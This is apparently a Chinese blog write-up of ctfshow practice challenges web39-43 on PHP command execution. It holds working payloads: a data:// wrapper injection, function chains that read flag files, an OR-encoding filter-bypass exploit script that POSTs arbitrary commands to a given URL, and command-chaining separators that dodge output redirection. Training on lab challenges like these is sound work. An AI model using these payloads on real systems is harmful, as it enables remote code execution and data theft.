ctfshow web入门 命令执行39-43

  1. web39

这个地方被加上了.php后缀

官方解释data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用,这个c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==不可用的原因是,base64解码不了,因为后面会加上php后缀

payload:

c=data://text/plain,<?php%20system("nl%20fla*");?>

2.web40

这题过滤了很多符号

特别注意这题过滤的是中文括号而非英文括号

英文括号: \(\)
中文括号:\(\)

show_source,highlight_file高亮显示文件,next是下一个元素。array_reverse是反向输出,pos是输出当前元素的值,localeconv是返回包含本地数字及货币格式信息的数组,scandir是列出指定路径的文件和目录,dirname是去掉文件名后的目录名,__FILE__表示当前文件的绝对路径

使用第一个时,首先查看目录下但前有哪些文件

c=print_r(scandir(dirname(__FILE__)));

利用array_reverse,next函数使当前目录只有flag.php

c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));

最后读取该目录下的文件源码

c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));

payload:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));

3.web41

过滤了很多运算符号,但是没有过滤|或运算

生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
for ($j=0; $j <256 ; $j++) { 

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
    }
  
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

4.web42

这题 空格>/dev/null 2>&1,错误的正确的都重定向到空设备里,说白了就是重定向这里的命令执行结果不管命令是否执行成功,都不会又任何结果输出到屏幕上

linux 0为标准输入

linux 1为标准输出

linux 2为标准错误输出

linux管道符:

; 执行完前面的在执行后面的,代表此命令的结束
| 异或 前面语句可真可假,只会显示后面执行的命令结果
|| 或 前面语句为假时,才会执行后面的命令
& 与 前面语句可真可假,两个命令都会执行
&& 并且 前面语句只能为真,两个命令都会执行

command1&command2 两个命令同时执行

command1;command2不管前面的命令执行成功与否,后面的命令继续执行

command1&&command2只有前面的命令执行成功了,后面才能继续执行

&&不管有没有空格都能执行,因为&&只有前面的命令执行成功了,后面才能继续执行和||类似的意思,这两个管道符都是把后面的重定向分开了,跟后面的重定向没有关系

&没有空格是执行不了的,当有空格时>/dev/null 2>&1,才相当于1>/dev/null 2>&1

payload:

c=nl flag.php;   #已跳出重定向
c=nl flag.php||  #前面为真时,不会执行后面的命令
c=nl flag.php%0a  #%0a代表换行符
c=nl flag.php%26%26 #%26%26 url编码代表&&
c=nl flag.php%26    #%26 url编码代表&

5.web43

这题过滤了;和cat

payload:

c=nl flag.php||  #前面为真时,不会执行后面的命令
c=nl flag.php%0a  #%0a代表换行符
c=nl flag.php%26%26 #%26%26 url编码代表&&
c=nl flag.php%26    #%26 url编码代表&

参考文章:

(12条消息) ctfshow web入门 命令执行部分 (37-40)_yu22x的博客-CSDN博客

(12条消息) [CTFSHOW]命令执行_ctfshow 命令执行_Y4tacker的博客-CSDN博客

web41脚本

https://blog.csdn.net/miuzzx/article/details/108569080

posted @   mushangqiujin  阅读(11)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示